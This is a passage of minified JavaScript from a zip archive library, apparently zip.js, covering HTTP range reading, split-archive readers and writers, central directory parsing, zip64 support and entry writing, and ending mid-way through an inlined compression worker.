e=a.trim().split(/\s*\/\s*/);if(e.length){const t=e[1];t&&"*"!=t&&(i=s(t))}}i===V?await Gt(e,t,n):e.size=i}}else await Gt(e,t,n)}async function Ht(e,t,n,r,s){const{useRangeHeader:i,forceRangeRequests:a,options:o}=e;if(i||a){const s=await r(Dt,e,Mt(e,t,n));if(206!=s.status)throw new d(_t);return new w(await s.arrayBuffer())}{const{data:r}=e;return r||await s(e,o),new w(e.data.subarray(t,t+n))}}function Mt(e,t=0,r=1){return n.assign({},Bt(e),{Range:Wt+"="+t+"-"+(t+r-1)})}function Bt({options:e}){const{headers:t}=e;if(t)return Symbol.iterator in t?n.fromEntries(t):t}async function Vt(e){await Kt(e,Xt)}async function Zt(e){await Kt(e,Yt)}async function Kt(e,t){const n=await t(Dt,e,Bt(e));e.data=new w(await n.arrayBuffer()),e.size||(e.size=e.data.length)}async function Gt(e,t,n){if(e.preventHeadRequest)await n(e,e.options);else{const r=(await t("HEAD",e,Bt(e))).headers.get("Content-Length");r?e.size=s(r):await n(e,e.options)}}async function Xt(e,{options:t,url:r},s){const i=await fetch(r,n.assign({},t,{method:e,headers:s}));if(400>i.status)return i;throw 416==i.status?new d(_t):new d(At+(i.statusText||i.status))}function Yt(e,{url:t},r){return new y(((s,i)=>{const a=new XMLHttpRequest;if(a.addEventListener("load",(()=>{if(400>a.status){const e=[];a.getAllResponseHeaders().trim().split(/[\r\n]+/).forEach((t=>{const n=t.trim().split(/\s*:\s*/);n[0]=n[0].trim().replace(/^[a-z]|-[a-z]/g,(e=>e.toUpperCase())),e.push(n)})),s({status:a.status,arrayBuffer:()=>a.response,headers:new c(e)})}else i(416==a.status?new d(_t):new d(At+(a.statusText||a.status)))}),!1),a.addEventListener("error",(e=>i(e.detail?e.detail.error:new d("Network error"))),!1),a.open(e,t),r)for(const e of n.entries(r))a.setRequestHeader(e[0],e[1]);a.responseType="arraybuffer",a.send()}))}class jt extends Tt{constructor(e,t={}){super(),n.assign(this,{url:e,reader:t.useXHR?new qt(e,t):new Nt(e,t)})}set size(e){}get size(){return this.reader.size}async init(){await this.reader.init(),super.init()}readUint8Array(e,t){return this.reader.readUint8Array(e,t)}}class Jt extends Tt{constructor(e){super(),this.readers=e}async init(){const e=this,{readers:t}=e;e.lastDiskNumber=0,e.lastDiskOffset=0,await y.all(t.map((async(n,r)=>{await n.init(),r!=t.length-1&&(e.lastDiskOffset+=n.size),e.size+=n.size}))),super.init()}async readUint8Array(e,t,n=0){const r=this,{readers:s}=this;let i,o=n;-1==o&&(o=s.length-1);let c=e;for(;c>=s[o].size;)c-=s[o].size,o++;const l=s[o],u=l.size;if(c+t>u){const s=u-c;i=new w(t),i.set(await nn(l,c,s)),i.set(await r.readUint8Array(e+s,t-s,n),s)}else i=await nn(l,c,t);return r.lastDiskNumber=a.max(o,r.lastDiskNumber),i}}class Qt extends Et{constructor(e,t=4294967295){super();const r=this;let s,i,a;n.assign(r,{diskNumber:0,diskOffset:0,size:0,maxSize:t,availableSize:t});const o=new _({async write(t){const{availableSize:n}=r;if(a)t.lengtho})}}async function $t(e,t){if(!e.init||e.initialized)return y.resolve();await e.init(t)}function en(e){return t.isArray(e)&&(e=new Jt(e)),e instanceof A&&(e={readable:e}),e}function tn(e){e.writable===V&&typeof e.next==K&&(e=new Qt(e)),e instanceof _&&(e={writable:e});const{writable:t}=e;return t.size===V&&(t.size=0),e instanceof Qt||n.assign(e,{diskNumber:0,diskOffset:0,availableSize:1/0,maxSize:1/0}),e}function nn(e,t,n,r){return e.readUint8Array(t,n,r)}const rn=Jt,sn=Qt,an="\0☺☻♥♦♣♠•◘○◙♂♀♪♫☼►◄↕‼¶§▬↨↑↓→←∟↔▲▼ !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~⌂ÇüéâäàåçêëèïîìÄÅÉæÆôöòûùÿÖÜ¢£¥₧ƒáíóúñѪº¿⌐¬½¼¡«»░▒▓│┤╡╢╖╕╣║╗╝╜╛┐└┴┬├─┼╞╟╚╔╩╦╠═╬╧╨╤╥╙╘╒╓╫╪┘┌█▄▌▐▀αßΓπΣσµτΦΘΩδ∞φε∩≡±≥≤⌠⌡÷≈°∙·√ⁿ²■ ".split("");function on(e,t){return t&&"cp437"==t.trim().toLowerCase()?(e=>{{let t="";for(let n=0;nthis[t]=e[t]))}}const _n="File format is not recognized",Cn="End of central directory not found",Dn="End of Zip64 central directory not found",Wn="End of Zip64 central directory locator not found",Rn="Central directory header not found",Fn="Local file header not found",En="Zip64 extra field not found",Tn="File contains encrypted entry",Ln="Encryption method not supported",Un="Compression method not supported",In="Split zip file",Nn="utf-8",qn="cp437",On=[[dn,F],[wn,F],[pn,F],[hn,E]],Pn={[E]:{getValue:Jn,bytes:4},[F]:{getValue:Qn,bytes:8}};class Hn{constructor(e,t={}){n.assign(this,{reader:en(e),options:t,config:J()})}async*getEntriesGenerator(e={}){const t=this;let{reader:r}=t;const{config:s}=t;if(await $t(r),r.size!==V&&r.readUint8Array||(r=new Ut(await new u(r.readable).blob()),await $t(r)),r.size{const r=new w(4);return $n(r).setUint32(0,101010256,!0),await s(22)||await s(a.min(1048582,n));async function s(t){const s=n-t,i=await nn(e,s,t);for(let e=i.length-22;e>=0;e--)if(i[e]==r[0]&&i[e+1]==r[1]&&i[e+2]==r[2]&&i[e+3]==r[3])return{offset:s+e,buffer:i.slice(e,e+22).buffer}}})(r,0,r.size);if(!i)throw Jn($n(await nn(r,0,4)))==L?new d(In):new d(Cn);const o=$n(i);let c=Jn(o,12),l=Jn(o,16);const f=i.offset,p=jn(o,20),h=f+q+p;let g=jn(o,4);const m=r.lastDiskNumber||0;let b=jn(o,6),S=jn(o,8),k=0,z=0;if(l==F||c==F||S==E||b==E){const e=$n(await nn(r,i.offset-20,20));if(Jn(e,0)!=N)throw new d(Dn);l=Qn(e,8);let t=await nn(r,l,56,-1),n=$n(t);const s=i.offset-20-56;if(Jn(n,0)!=I&&l!=s){const e=l;l=s,k=l-e,t=await nn(r,l,56,-1),n=$n(t)}if(Jn(n,0)!=I)throw new d(Wn);g==E&&(g=Jn(n,16)),b==E&&(b=Jn(n,20)),S==E&&(S=Qn(n,32)),c==F&&(c=Qn(n,40)),l-=c}if(ll)throw new d(_n);let v=0,x=await nn(r,l,c,b),A=$n(x);if(c){const e=i.offset-c;if(Jn(A,v)!=U&&l!=e){const t=l;l=e,k+=l-t,x=await nn(r,l,c,b),A=$n(x)}}const _=i.offset-l-(r.lastDiskOffset||0);if(c==_||0>_||(c=_,x=await nn(r,l,c,b),A=$n(x)),0>l||l>=r.size)throw new d(_n);const C=Kn(t,e,"filenameEncoding"),D=Kn(t,e,"commentEncoding");for(let i=0;S>i;i++){const o=new Mn(r,s,t.options);if(Jn(A,v)!=U)throw new d(Rn);Bn(o,A,v+6);const c=!!o.bitFlag.languageEncodingFlag,l=v+46,u=l+o.filenameLength,f=u+o.extraFieldLength,w=jn(A,v+4),p=0==(0&w),h=x.subarray(l,u),g=jn(A,v+32),m=f+g,b=x.subarray(f,m),_=c,W=c,R=p&&16==(16&Yn(A,v+38)),F=Jn(A,v+42)+k;n.assign(o,{versionMadeBy:w,msDosCompatible:p,compressedSize:0,uncompressedSize:0,commentLength:g,directory:R,offset:F,diskNumberStart:jn(A,v+34),internalFileAttribute:jn(A,v+36),externalFileAttribute:Jn(A,v+38),rawFilename:h,filenameUTF8:_,commentUTF8:W,rawExtraField:x.subarray(u,f)});const[E,T]=await y.all([on(h,_?Nn:C||qn),on(b,W?Nn:D||qn)]);n.assign(o,{rawComment:b,filename:E,comment:T,directory:R||E.endsWith(H)}),z=a.max(F,z),await Vn(o,o,A,v+6);const L=new An(o);L.getData=(e,t)=>o.getData(e,L,t),v=m;const{onprogress:I}=e;if(I)try{await I(i+1,S,new An(o))}catch(e){}yield L}const W=Kn(t,e,"extractPrependedData"),R=Kn(t,e,"extractAppendedData");return W&&(t.prependedData=z>0?await nn(r,0,z):new w),t.comment=p?await nn(r,f+q,p):new w,R&&(t.appendedData=h>>8&255:p>>>24&255),signature:p,compressed:0!=l,encrypted:z,useWebWorkers:Kn(s,r,"useWebWorkers"),useCompressionStream:Kn(s,r,"useCompressionStream"),transferStreams:Kn(s,r,"transferStreams"),checkPasswordOnly:W},config:u,streamOptions:{signal:D,size:A,onstart:F,onprogress:E,onend:L}};let I=0;try{({outputSize:I}=await vt({readable:C,writable:R},U))}catch(e){if(!W||e.message!=pe)throw e}finally{const e=Kn(s,r,"preventClose");R.size+=I,e||R.locked||await R.getWriter().close()}return W?V:e.getData?e.getData():R}}function Bn(e,t,r){const s=e.rawBitFlag=jn(t,r+2),i=1==(1&s),a=Jn(t,r+6);n.assign(e,{encrypted:i,version:jn(t,r),bitFlag:{level:(6&s)>>1,dataDescriptor:8==(8&s),languageEncodingFlag:(s&P)==P},rawLastModDate:a,lastModDate:Gn(a),filenameLength:jn(t,r+22),extraFieldLength:jn(t,r+24)})}async function Vn(e,t,r,s,i){const{rawExtraField:a}=t,l=t.extraField=new c,u=$n(new w(a));let f=0;try{for(;f{t.zip64=!0;const n=$n(e.data),r=On.filter((([e,n])=>t[e]==n));for(let s=0,i=0;s{const s=$n(e.data),i=Yn(s,4);n.assign(e,{vendorVersion:Yn(s,0),vendorId:Yn(s,2),strength:i,originalCompressionMethod:r,compressionMethod:jn(s,5)}),t.compressionMethod=e.compressionMethod})(y,t,p),t.extraFieldAES=y):t.compressionMethod=p;const b=l.get(10);b&&(((e,t)=>{const r=$n(e.data);let s,i=4;try{for(;i{const r=$n(e.data),s=Yn(r,0),i=[],a=[];n?(1==(1&s)&&(i.push(gn),a.push(mn)),2==(2&s)&&(i.push(yn),a.push("rawLastAccessDate")),4==(4&s)&&(i.push(bn),a.push("rawCreationDate"))):5>e.data.length||(i.push(gn),a.push(mn));let c=1;i.forEach(((n,s)=>{if(e.data.length>=c+4){const i=Jn(r,c);t[n]=e[n]=new o(1e3*i);const l=a[s];e[l]=i}c+=4}))})(S,t,i),t.extraFieldExtendedTimestamp=S);const k=l.get(6534);k&&(t.extraFieldUSDZ=k)}async function Zn(e,t,r,s,i){const a=$n(e.data),o=new re;o.append(i[r]);const c=$n(new w(4));c.setUint32(0,o.get(),!0);const l=Jn(a,1);n.assign(e,{version:Yn(a,0),[t]:on(e.data.subarray(5)),valid:!i.bitFlag.languageEncodingFlag&&l==Jn(c,0)}),e.valid&&(s[t]=e[t],s[t+"UTF8"]=!0)}function Kn(e,t,n){return t[n]===V?e.options[n]:t[n]}function Gn(e){const t=(4294901760&e)>>16,n=65535&e;try{return new o(1980+((65024&t)>>9),((480&t)>>5)-1,31&t,(63488&n)>>11,(2016&n)>>5,2*(31&n),0)}catch(e){}}function Xn(e){return new o(s(e/i(1e4)-i(116444736e5)))}function Yn(e,t){return e.getUint8(t)}function jn(e,t){return e.getUint16(t,!0)}function Jn(e,t){return e.getUint32(t,!0)}function Qn(e,t){return s(e.getBigUint64(t,!0))}function $n(e){return new g(e.buffer)}const er="File already exists",tr="Zip file comment exceeds 64KB",nr="File entry comment exceeds 64KB",rr="File entry name exceeds 64KB",sr="Version exceeds 65535",ir="The strength must equal 1, 2, or 3",ar="Extra field type exceeds 65535",or="Extra field data exceeds 64KB",cr="Zip64 is not supported (make sure 'keepOrder' is set to 'true')",lr=new w([7,0,2,0,65,69,3,0,0]);let ur=0;const fr=[];class dr{constructor(e,t={}){const r=(e=tn(e)).availableSize!==V&&e.availableSize>0&&e.availableSize!==1/0&&e.maxSize!==V&&e.maxSize>0&&e.maxSize!==1/0;n.assign(this,{writer:e,addSplitZipSignature:r,options:t,config:J(),files:new c,filenames:new l,offset:e.writable.size,pendingEntriesSize:0,pendingAddFileCalls:new l,bufferedWrites:0})}async add(e="",r,s={}){const c=this,{pendingAddFileCalls:l,config:f}=c;let m;urfr.push(e)));try{if(e=e.trim(),c.filenames.has(e))throw new d(er);return c.filenames.add(e),m=(async(e,r,s,c)=>{r=r.trim(),c.directory&&!r.endsWith(H)?r+=H:c.directory=r.endsWith(H);const l=ie(r);if(zr(l)>E)throw new d(rr);const f=c.comment||"",m=ie(f);if(zr(m)>E)throw new d(nr);const b=hr(e,c,"version",20);if(b>E)throw new d(sr);const S=hr(e,c,"versionMadeBy",20);if(S>E)throw new d(sr);const k=hr(e,c,gn,new o),z=hr(e,c,yn),v=hr(e,c,bn),A=hr(e,c,zn,!0),_=hr(e,c,Sn,0),C=hr(e,c,kn,0),D=hr(e,c,"password"),W=hr(e,c,"rawPassword"),R=hr(e,c,"encryptionStrength",3),U=hr(e,c,"zipCrypto"),I=hr(e,c,"extendedTimestamp",!0),N=hr(e,c,"keepOrder",!0),q=hr(e,c,"level"),Z=hr(e,c,"useWebWorkers"),K=hr(e,c,"bufferedWrite"),G=hr(e,c,"dataDescriptorSignature",!1),X=hr(e,c,"signal"),Y=hr(e,c,"useCompressionStream");let j=hr(e,c,"dataDescriptor",!0),J=hr(e,c,vn);if(D!==V&&R!==V&&(1>R||R>3))throw new d(ir);let $=new w;const{extraField:ee}=c;if(ee){let e=0,t=0;ee.forEach((t=>e+=4+zr(t))),$=new w(e),ee.forEach(((e,n)=>{if(n>E)throw new d(ar);if(zr(e)>E)throw new d(or);Sr($,new p([n]),t),Sr($,new p([zr(e)]),t+2),Sr($,e,t+4),t+=4+zr(e)}))}let te=0,ne=0,re=0;const se=!0===J;s&&(s=en(s),await $t(s),s.size===V?(j=!0,(J||J===V)&&(J=!0,re=te=F)):(re=s.size,te=(e=>e+5*(a.floor(e/16383)+1))(re)));const{diskOffset:ae,diskNumber:oe,maxSize:ce}=e.writer,le=se||re>=F,ue=se||te>=F,fe=se||e.offset+e.pendingEntriesSize-ae>=F,de=hr(e,c,"supportZip64SplitFile",!0)&&se||oe+a.ceil(e.pendingEntriesSize/ce)>=E;if(fe||le||ue||de){if(!1===J||!N)throw new d(cr);J=!0}J=J||!1;const we=(e=>{const{rawFilename:t,lastModDate:n,lastAccessDate:r,creationDate:s,rawPassword:i,password:o,level:c,zip64:l,zipCrypto:u,dataDescriptor:f,directory:d,rawExtraField:p,encryptionStrength:g,extendedTimestamp:m}=e,y=0!==c&&!d,b=!!(o&&zr(o)||i&&zr(i));let S,k,z,v,x=e.version;if(b&&!u){S=new w(zr(lr)+2);const e=kr(S);mr(e,0,39169),Sr(S,lr,2),gr(e,8,g)}else S=new w;if(m){z=new w(9+(r?4:0)+(s?4:0));const e=kr(z);mr(e,0,O),mr(e,2,zr(z)-4),v=1+(r?2:0)+(s?4:0),gr(e,4,v);let t=5;yr(e,t,a.floor(n.getTime()/1e3)),t+=4,r&&(yr(e,t,a.floor(r.getTime()/1e3)),t+=4),s&&yr(e,t,a.floor(s.getTime()/1e3));try{k=new w(36);const e=kr(k),t=pr(n);mr(e,0,10),mr(e,2,32),mr(e,8,1),mr(e,10,24),br(e,12,t),br(e,20,pr(r)||t),br(e,28,pr(s)||t)}catch(e){k=new w}}else k=z=new w;let A=P;f&&(A|=8);let _=0;y&&(_=8),l&&(x=x>45?x:45),b&&(A|=1,u||(x=x>51?x:51,_=99,y&&(S[9]=8)));const C=new w(26),D=kr(C);mr(D,0,x),mr(D,2,A),mr(D,4,_);const W=new h(1),R=kr(W);let F;F=B>n?B:n>M?M:n,mr(R,0,(F.getHours()<<6|F.getMinutes())<<5|F.getSeconds()/2),mr(R,2,(F.getFullYear()-1980<<4|F.getMonth()+1)<<5|F.getDate());const E=W[0];yr(D,6,E),mr(D,22,zr(t));const L=zr(S,z,k,p);mr(D,24,L);const U=new w(30+zr(t)+L);return yr(kr(U),0,T),Sr(U,C,4),Sr(U,t,30),Sr(U,S,30+zr(t)),Sr(U,z,30+zr(t,S)),Sr(U,k,30+zr(t,S,z)),Sr(U,p,30+zr(t,S,z,k)),{localHeaderArray:U,headerArray:C,headerView:D,lastModDate:n,rawLastModDate:E,encrypted:b,compressed:y,version:x,compressionMethod:_,extraFieldExtendedTimestampFlag:v,rawExtraFieldExtendedTimestamp:z,rawExtraFieldNTFS:k,rawExtraFieldAES:S,extraFieldLength:L}})(c=n.assign({},c,{rawFilename:l,rawComment:m,version:b,versionMadeBy:S,lastModDate:k,lastAccessDate:z,creationDate:v,rawExtraField:$,zip64:J,zip64UncompressedSize:le,zip64CompressedSize:ue,zip64Offset:fe,zip64DiskNumberStart:de,password:D,rawPassword:W,level:q,useWebWorkers:Z,encryptionStrength:R,extendedTimestamp:I,zipCrypto:U,bufferedWrite:K,keepOrder:N,dataDescriptor:j,dataDescriptorSignature:G,signal:X,msDosCompatible:A,internalFileAttribute:_,externalFileAttribute:C,useCompressionStream:Y})),pe=(e=>{const{zip64:t,dataDescriptor:n,dataDescriptorSignature:r}=e;let s,i=new w,a=0;return n&&(i=new w(t?r?24:20:r?16:12),s=kr(i),r&&(a=4,yr(s,0,134695760))),{dataDescriptorArray:i,dataDescriptorView:s,dataDescriptorOffset:a}})(c),he=zr(we.localHeaderArray,pe.dataDescriptorArray);let ge;ne=he+te,e.options.usdz&&(ne+=ne+64),e.pendingEntriesSize+=ne;try{ge=await(async(e,r,s,a,o)=>{const{files:c,writer:l}=e,{keepOrder:f,dataDescriptor:p,signal:h}=o,{headerInfo:m}=a,{usdz:b}=e.options,S=t.from(c.values()).pop();let k,z,v,A,_,C,D,W={};c.set(r,W);try{let t;f&&(t=S&&S.lock,W.lock=new y((e=>v=e))),!(o.bufferedWrite||e.writerLocked||e.bufferedWrites&&f)&&p||b?(C=l,await R()):(C=new x,D=new u(C.readable).blob(),C.writable.size=0,k=!0,e.bufferedWrites++,await $t(l)),await $t(C);const{writable:m}=l;let{diskOffset:T}=l;if(e.addSplitZipSignature){delete e.addSplitZipSignature;const t=new w(4);yr(kr(t),0,L),await wr(m,t),e.offset+=4}b&&((e,t)=>{const{headerInfo:n}=e;let{localHeaderArray:r,extraFieldLength:s}=n,i=kr(r),a=64-(t+zr(r))%64;4>a&&(a+=64);const o=new w(a),c=kr(o);mr(c,0,6534),mr(c,2,a-2);const l=r;n.localHeaderArray=r=new w(zr(l)+a),Sr(r,l),Sr(r,o,zr(l)),i=kr(r),mr(i,28,s+a),e.metadataSize+=a})(a,e.offset-T),k||(await t,await E(m));const{diskNumber:U}=l;if(_=!0,W.diskNumberStart=U,W=await(async(e,t,{diskNumberStart:r,lock:s},a,o,c)=>{const{headerInfo:l,dataDescriptorInfo:u,metadataSize:f}=a,{localHeaderArray:d,headerArray:p,lastModDate:h,rawLastModDate:g,encrypted:m,compressed:y,version:b,compressionMethod:S,rawExtraFieldExtendedTimestamp:k,extraFieldExtendedTimestampFlag:z,rawExtraFieldNTFS:v,rawExtraFieldAES:x}=l,{dataDescriptorArray:A}=u,{rawFilename:_,lastAccessDate:C,creationDate:D,password:W,rawPassword:R,level:E,zip64:T,zip64UncompressedSize:L,zip64CompressedSize:U,zip64Offset:I,zip64DiskNumberStart:N,zipCrypto:q,dataDescriptor:O,directory:P,versionMadeBy:H,rawComment:M,rawExtraField:B,useWebWorkers:Z,onstart:K,onprogress:G,onend:X,signal:Y,encryptionStrength:j,extendedTimestamp:J,msDosCompatible:$,internalFileAttribute:ee,externalFileAttribute:te,useCompressionStream:ne}=c,re={lock:s,versionMadeBy:H,zip64:T,directory:!!P,filenameUTF8:!0,rawFilename:_,commentUTF8:!0,rawComment:M,rawExtraFieldExtendedTimestamp:k,rawExtraFieldNTFS:v,rawExtraFieldAES:x,rawExtraField:B,extendedTimestamp:J,msDosCompatible:$,internalFileAttribute:ee,externalFileAttribute:te,diskNumberStart:r};let se,ie=0,ae=0;const{writable:oe}=t;if(e){e.chunkSize=Q(o),await wr(oe,d);const t=e.readable,n=t.size=e.size,r={options:{codecType:ot,level:E,rawPassword:R,password:W,encryptionStrength:j,zipCrypto:m&&q,passwordVerification:m&&q&&g>>8&255,signed:!0,compressed:y,encrypted:m,useWebWorkers:Z,useCompressionStream:ne,transferStreams:!1},config:o,streamOptions:{signal:Y,size:n,onstart:K,onprogress:G,onend:X}},s=await vt({readable:t,writable:oe},r);ae=s.inputSize,ie=s.outputSize,se=s.signature,oe.size+=ae}else await wr(oe,d);let ce;if(T){let e=4;L&&(e+=8),U&&(e+=8),I&&(e+=8),N&&(e+=4),ce=new w(e)}else ce=new w;return((e,t)=>{const{signature:n,rawExtraFieldZip64:r,compressedSize:s,uncompressedSize:a,headerInfo:o,dataDescriptorInfo:c}=e,{headerView:l,encrypted:u}=o,{dataDescriptorView:f,dataDescriptorOffset:d}=c,{zip64:w,zip64UncompressedSize:p,zip64CompressedSize:h,zipCrypto:g,dataDescriptor:m}=t;if(u&&!g||n===V||(yr(l,10,n),m&&yr(f,d,n)),w){const e=kr(r);mr(e,0,1),mr(e,2,zr(r)-4);let t=4;p&&(yr(l,18,F),br(e,t,i(a)),t+=8),h&&(yr(l,14,F),br(e,t,i(s))),m&&(br(f,d+4,i(s)),br(f,d+12,i(a)))}else yr(l,14,s),yr(l,18,a),m&&(yr(f,d+4,s),yr(f,d+8,a))})({signature:se,rawExtraFieldZip64:ce,compressedSize:ie,uncompressedSize:ae,headerInfo:l,dataDescriptorInfo:u},c),O&&await wr(oe,A),n.assign(re,{uncompressedSize:ae,compressedSize:ie,lastModDate:h,rawLastModDate:g,creationDate:D,lastAccessDate:C,encrypted:m,size:f+ie,compressionMethod:S,version:b,headerArray:p,signature:se,rawExtraFieldZip64:ce,extraFieldExtendedTimestampFlag:z,zip64UncompressedSize:L,zip64CompressedSize:U,zip64Offset:I,zip64DiskNumberStart:N}),re})(s,C,W,a,e.config,o),_=!1,c.set(r,W),W.filename=r,k){await C.writable.getWriter().close();let e=await D;await t,await R(),A=!0,p||(e=await(async(e,t,n,{zipCrypto:r})=>{let s;s=await t.slice(0,26).arrayBuffer(),26!=s.byteLength&&(s=s.slice(0,26));const i=new g(s);return e.encrypted&&!r||yr(i,14,e.signature),e.zip64?(yr(i,18,F),yr(i,22,F)):(yr(i,18,e.compressedSize),yr(i,22,e.uncompressedSize)),await wr(n,new w(s)),t.slice(s.byteLength)})(W,e,m,o)),await E(m),W.diskNumberStart=l.diskNumber,T=l.diskOffset,await e.stream().pipeTo(m,{preventClose:!0,preventAbort:!0,signal:h}),m.size+=e.size,A=!1}if(W.offset=e.offset-T,W.zip64)((e,t)=>{const{rawExtraFieldZip64:n,offset:r,diskNumberStart:s}=e,{zip64UncompressedSize:a,zip64CompressedSize:o,zip64Offset:c,zip64DiskNumberStart:l}=t,u=kr(n);let f=4;a&&(f+=8),o&&(f+=8),c&&(br(u,f,i(r)),f+=8),l&&yr(u,f,s)})(W,o);else if(W.offset>=F)throw new d(cr);return e.offset+=W.size,W}catch(t){if(k&&A||!k&&_){if(e.hasCorruptedEntries=!0,t)try{t.corruptedEntry=!0}catch(e){}k?e.offset+=C.writable.size:e.offset=C.writable.size}throw c.delete(r),t}finally{k&&e.bufferedWrites--,v&&v(),z&&z()}async function R(){e.writerLocked=!0;const{lockWriter:t}=e;e.lockWriter=new y((t=>z=()=>{e.writerLocked=!1,t()})),await t}async function E(e){zr(m.localHeaderArray)>l.availableSize&&(l.availableSize=0,await wr(e,new w))}})(e,r,s,{headerInfo:we,dataDescriptorInfo:pe,metadataSize:he},c)}finally{e.pendingEntriesSize-=ne}return n.assign(ge,{name:r,comment:f,extraField:ee}),new An(ge)})(c,e,r,s),l.add(m),await m}catch(t){throw c.filenames.delete(e),t}finally{l.delete(m);const e=fr.shift();e?e():ur--}}async close(e=new w,n={}){const{pendingAddFileCalls:r,writer:s}=this,{writable:o}=s;for(;r.size;)await y.allSettled(t.from(r));return await(async(e,n,r)=>{const{files:s,writer:o}=e,{diskOffset:c,writable:l}=o;let{diskNumber:u}=o,f=0,p=0,h=e.offset-c,g=s.size;for(const[,e]of s){const{rawFilename:t,rawExtraFieldZip64:n,rawExtraFieldAES:r,rawComment:s,rawExtraFieldNTFS:i,rawExtraField:o,extendedTimestamp:c,extraFieldExtendedTimestampFlag:l,lastModDate:u}=e;let f;if(c){f=new w(9);const e=kr(f);mr(e,0,O),mr(e,2,5),gr(e,4,l),yr(e,5,a.floor(u.getTime()/1e3))}else f=new w;e.rawExtraFieldCDExtendedTimestamp=f,p+=46+zr(t,s,n,r,i,f,o)}const m=new w(p),y=kr(m);await $t(o);let b=0;for(const[e,n]of t.from(s.values()).entries()){const{offset:t,rawFilename:i,rawExtraFieldZip64:a,rawExtraFieldAES:c,rawExtraFieldCDExtendedTimestamp:u,rawExtraFieldNTFS:d,rawExtraField:w,rawComment:p,versionMadeBy:h,headerArray:g,directory:S,zip64:k,zip64UncompressedSize:z,zip64CompressedSize:v,zip64DiskNumberStart:x,zip64Offset:A,msDosCompatible:_,internalFileAttribute:C,externalFileAttribute:D,diskNumberStart:W,uncompressedSize:R,compressedSize:T}=n,L=zr(a,c,u,d,w);yr(y,f,U),mr(y,f+4,h);const I=kr(g);z||yr(I,18,R),v||yr(I,14,T),Sr(m,g,f+6),mr(y,f+30,L),mr(y,f+32,zr(p)),mr(y,f+34,k&&x?E:W),mr(y,f+36,C),D?yr(y,f+38,D):S&&_&&gr(y,f+38,16),yr(y,f+42,k&&A?F:t),Sr(m,i,f+46),Sr(m,a,f+46+zr(i)),Sr(m,c,f+46+zr(i,a)),Sr(m,u,f+46+zr(i,a,c)),Sr(m,d,f+46+zr(i,a,c,u)),Sr(m,w,f+46+zr(i,a,c,u,d)),Sr(m,p,f+46+zr(i)+L);const N=46+zr(i,p)+L;if(f-b>o.availableSize&&(o.availableSize=0,await wr(l,m.slice(b,f)),b=f),f+=N,r.onprogress)try{await r.onprogress(e+1,s.size,new An(n))}catch(e){}}await wr(l,b?m.slice(b):m);let S=o.diskNumber;const{availableSize:k}=o;q>k&&S++;let z=hr(e,r,"zip64");if(!(F>h&&F>p&&E>g&&E>S)){if(!1===z)throw new d(cr);z=!0}const v=new w(z?98:q),x=kr(v);f=0,z&&(yr(x,0,I),br(x,4,i(44)),mr(x,12,45),mr(x,14,45),yr(x,16,S),yr(x,20,u),br(x,24,i(g)),br(x,32,i(g)),br(x,40,i(p)),br(x,48,i(h)),yr(x,56,N),br(x,64,i(h)+i(p)),yr(x,72,S+1),hr(e,r,"supportZip64SplitFile",!0)&&(S=E,u=E),g=E,h=F,p=F,f+=76),yr(x,f,101010256),mr(x,f+4,S),mr(x,f+6,u),mr(x,f+8,g),mr(x,f+10,g),yr(x,f+12,p),yr(x,f+16,h);const A=zr(n);if(A){if(A>E)throw new d(tr);mr(x,f+20,A)}await wr(l,v),A&&await wr(l,n)})(this,e,n),hr(this,n,"preventClose")||await o.getWriter().close(),s.getData?s.getData():o}}async function wr(e,t){const n=e.getWriter();try{await n.ready,e.size+=zr(t),await n.write(t)}finally{n.releaseLock()}}function pr(e){if(e)return(i(e.getTime())+i(116444736e5))*i(1e4)}function hr(e,t,n,r){const s=t[n]===V?e.options[n]:t[n];return s===V?r:s}function gr(e,t,n){e.setUint8(t,n)}function mr(e,t,n){e.setUint16(t,n,!0)}function yr(e,t,n){e.setUint32(t,n,!0)}function br(e,t,n){e.setBigUint64(t,n,!0)}function Sr(e,t,n){e.set(t,n)}function kr(e){return new g(e.buffer)}function zr(...e){let t=0;return e.forEach((e=>e&&(t+=e.length))),t}let vr;try{vr=void 0===k&&"undefined"==typeof location?new(require("url").URL)("file:"+__filename).href:void 0===k?location.href:k.currentScript&&k.currentScript.src||new f("zip.min.js",k.baseURI).href}catch(e){}$({baseURL:vr}),(e=>{const t=()=>f.createObjectURL(new m(['const{Array:e,Object:t,Number:n,Math:r,Error:s,Uint8Array:i,Uint16Array:o,Uint32Array:c,Int32Array:f,Map:a,DataView:l,Promise:u,TextEncoder:w,crypto:h,postMessage:d,TransformStream:p,ReadableStream:y,WritableStream:m,CompressionStream:b,DecompressionStream:g}=self,k=void 0,v="undefined",S="function";class z{constructor(e){return class extends p{constructor(t,n){const r=new e(n);super({transform(e,t){t.enqueue(r.append(e))},flush(e){const t=r.flush();t&&e.enqueue(t)}})}}}}const C=[];for(let e=0;256>e;e++){let t=e;for(let e=0;8>e;e++)1&t?t=t>>>1^3988292384:t>>>=1;C[e]=t}class x{constructor(e){this.t=e||-1}append(e){let t=0|this.t;for(let n=0,r=0|e.length;r>n;n++)t=t>>>8^C[255&(t^e[n])];this.t=t}get(){return~this.t}}class A extends p{constructor(){let e;const t=new x;super({transform(e,n){t.append(e),n.enqueue(e)},flush(){const n=new i(4);new l(n.buffer).setUint32(0,t.get()),e.value=n}}),e=this}}const _={concat(e,t){if(0===e.length||0===t.length)return e.concat(t);const n=e[e.length-1],r=_.i(n);return 32===r?e.concat(t):_.o(t,r,0|n,e.slice(0,e.length-1))},l(e){const t=e.length;if(0===t)return 0;const n=e[t-1];return 32*(t-1)+_.i(n)},u(e,t){if(32*e.length0&&t&&(e[n-1]=_.h(t,e[n-1]&2147483648>>t-1,1)),e},h:(e,t,n)=>32===e?t:(n?0|t:t<<32-e)+1099511627776*e,i:e=>r.round(e/1099511627776)||32,o(e,t,n,r){for(void 0===r&&(r=[]);t>=32;t-=32)r.push(n),n=0;if(0===t)return r.concat(e);for(let s=0;s>>t),n=e[s]<<32-t;const s=e.length?e[e.length-1]:0,i=_.i(s);return r.push(_.h(t+i&31,t+i>32?n:r.pop(),1)),r}},I={p:{m(e){const t=_.l(e)/8,n=new i(t);let r;for(let s=0;t>s;s++)0==(3&s)&&(r=e[s/4]),n[s]=r>>>24,r<<=8;return n},g(e){const t=[];let n,r=0;for(n=0;n9007199254740991)throw new s("Cannot hash more than 2^53 - 1 bits");const o=new c(n);let f=0;for(let 